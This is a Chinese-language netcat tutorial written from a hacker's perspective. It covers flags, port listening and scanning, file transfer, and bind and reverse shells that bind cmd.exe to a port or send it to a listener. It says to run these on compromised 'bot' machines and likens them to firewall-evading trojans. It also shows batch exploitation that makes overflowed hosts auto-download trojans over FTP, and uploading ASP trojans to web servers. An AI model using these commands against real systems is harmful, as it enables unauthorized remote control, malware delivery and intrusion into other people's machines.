參數說明:
-h 查看幫助信息
-d 后台模式
-e prog程序重定向,一但連接就執行[危險]
-i secs延時的間隔
-l 監聽模式,用於入站連接
-L 監聽模式,連接天閉后仍然繼續監聽,直到CTR+C
-n IP地址,不能用域名
-o film記錄16進制的傳輸
-p[空格]端口 本地端口號
-r 隨機本地及遠程端口
-t 使用Telnet交互方式
-u UDP模式
-v 詳細輸出,用-vv將更詳細
-w數字 timeout延時間隔
-z 將輸入,輸出關掉(用於掃錨時)
-----
命令1:監聽命令
nc -l -p port
nc -l -p port > e:/log.dat
nc -l -v -p port
參數解釋:
-l:監聽端口,監聽入站信息
-p:后跟本地端口號
-v:顯示端口的信息,如果使用-vv的話,則會顯示端口更詳細的信息
提示:一般大家都愛用-vv
nc -l -p 80
這個很簡單,監聽80端口
如果機器上運行這個命令,端口80被認為是開放的,可以欺騙很多掃描器的哦!
nc -l -p 80 > e:/log.dat
功能和上邊一樣,但是后邊加了個“> e:/log.dat”我想,學過ECHO
那個命令的人都會知道吧,是在E盤創建一個log.dat的日志文件
nc -l -v -p 80
和上邊命令相似,不過這次不是記錄在文件里,而是會直接顯示在運行着NC
的屏幕上。
nc -l -v -p 80
然后在瀏覽器中輸入本機IP:127.0.0.1
命令2:程序定向
nc -l -p port -t -e cmd.exe
本地機: nc -l -p port 或 nc -l -v -p port
目標機:nc -e cmd.exe ip port
參數解釋:
-l、-p兩個參數已經解釋過了
-e;作用就是程序定向
-t:以telnet的形式來應答
例子
nc -l -p 5277 -t -e cmd.exe
知道運行在哪里嗎?千萬不要運行在自己的機器上,如果運行了,你機器
就會變成一台TELNET的服務器了,呵呵,解釋一下:監聽本地端口5277的
入站信息,同時將CMD.exe這個程序,重定向到端口5277上,當有人連接的時候,就讓程序CMD.exe以TELNET的形式來響應連接要求。
說白了,其實就是讓他成為一台TELNET的肉雞,所以這個命令要運行在你的肉雞上。。
呵呵,咱們來找台肉雞試試,我TELNET IP 5277
local machine:nc -l -p port ( or nc -l -v -p port )
remote machine:nc -e cmd.exe ip port
大家知道灰鴿子和神偷吧,這兩款工具都是利用了反彈端口型的木馬,
什么叫反彈端口?就是說,當對方中馬后,不用你主動和對方連接,也就是說
不用從你的client端向對方主機上運行的server端發送請求連接,而是對方主動來連接你
這樣就可以使很多防火牆失效,因為很多防火牆都不檢查出站請求的。
這里這兩個命令結合在一起后,於那兩款木馬可以說有異曲同工之效。為什么?
nc -l -p 5277 (堅聽本地5277端口)
同樣也可以用
nc -l -v -p 5277
運行在本地
然后在遠程機器上,想辦法運行
nc -e cmd.exe ip 5277
(你可別真的打“ip”在肉機上啊)要打,xxx.xxx.xxx.xxx這樣!!
呵,看看在本地機器上出現了什么?
這樣就是反彈~~在本地機器上得到了一個SHELL
命令3:掃描端口
nc -v ip port
nc -v -z ip port-port
nc -v -z -u ip port-port
參數解釋:
-z:將輸入輸出關掉,在掃描時使用
nc -v ip port
這個命令是針對某一個端口進行掃描
例如:
nc -v ip 135
掃描遠程主機的135端口,這樣獲得了該端口的一些簡單信息,但是針對某些端口,我們還可以獲得更多的信息
例如:80端口
我們可以使用nc -v ip 80 然后使用get方法來獲得對方的WEB服務器的信息
nc -v -z ip port-port
這個命令是用來掃描的一個命令,這個命令用於快速掃描TCP端口,而port-port則是指定了掃描的端口范圍
例如:
nc -v -z ip 1-200
可以看到我機器上的1-200的TCP端口的開放情況
nc -v -z -u ip port-port
這個命令比上個命令多了個-u,這個命令的作用仍然是掃描端口,只是多了一個-u的參數,是用來掃UDP端口的
例如:
nc -v -z -u ip 1-200
這個命令就會掃1-200的UDP端口
命令4:傳送文件(HOHO,I LIKE)
LOCAL MACHINE:nc -v -n ip port < x:/svr.exe
REMOTE MACHINE:nc -v -l -p port > y:/svr.exe
參數解釋:
-n:指定數字的IP地址
這兩個命令結合起來是用來傳送文件的
首先,在遠程機上運行命令:
nc -v -l -p 5277 > c:/pulist.exe
這個命令還記的嗎?呵呵,是不是和監聽命令有點類似,對,沒錯,這個是監聽5277端口
並把接受到的信息數據寫到c:/pulist.exe中
這時候在本地機上運行
nc -v -n ip 5277 < e:/hack/pulist.exe
這個命令的意思就是,從本地E盤跟目錄中讀取pulist.exe文件的內容,並把這些數據發送到ip的5277端口上
這樣遠程主機就會自動創建一個pulist.exe文件
--------
先看一些簡單的用法:
nc -nvv 192.168.0.1 80 連接到192.168.0.1主機的80端口
nc -l -p 80 開啟本機的TCP 80端口並監聽
nc -nvv -w2 -z 192.168.0.1 80-1024 掃錨192.168.0.1的80-1024端口
高級用法:
nc -L -p 3389 做蜜罐,不停地監聽3389端口
nc -L -p 3389>c:\log.txt 做蜜罐,不停地監聽3389端口,同時把結果輸出到c:\log.txt
nc -L -p 3389<c:\ftp.txt 不停地監聽3389端口,並把c:\ftp.txt中內容發給連接本端口的主
機,可起到傳送文件作用.(此用法經常用於反向溢出)
nc -l -p 2008 -t -e cmd.exe 綁定主機的cmd到2008端口,並以TELNET方式應答。
nc -t -e cmd.exe 192.168.0.2 555 綁定cmd反向連接192.168.0.2的555端口以TELNET方式應答。
組合用法:
1.溢出用:
nc -L -p 8989<c:\ftp.txt (ftp.txt中為FTP自動下載命令)
效果:一但溢出的主機連接8989端口就會自動用FTP下載指定的文件,如木馬.(此法經常用於批量溢出)
2.返回CMD SHELL用:
正向連接:
在遠程主機上運行 nc -l -p 2008 -t -e cmd.exe
本機運行 nc -nvv 192.168.0.1 2008
連接成功就會返回一個CMD shell。(類似TELNET)
反向連接:
先在本機運行 nc -l -p 2008
在遠程主機上運行 nc -t -e cmd.exe 192.168.0.2 2008
連接成功就會得到一個CMD shell。(類似TELNET)
3.上傳文本
本機運行 nc -vv www.baidu.com 80<1.txt (此法經常用於上傳ASP木馬)
本機運行 nc -nvv 192.168.0.1 80<1.txt (向192.168.0.1發送1.txt中的內容)
有時間會錄下視頻發布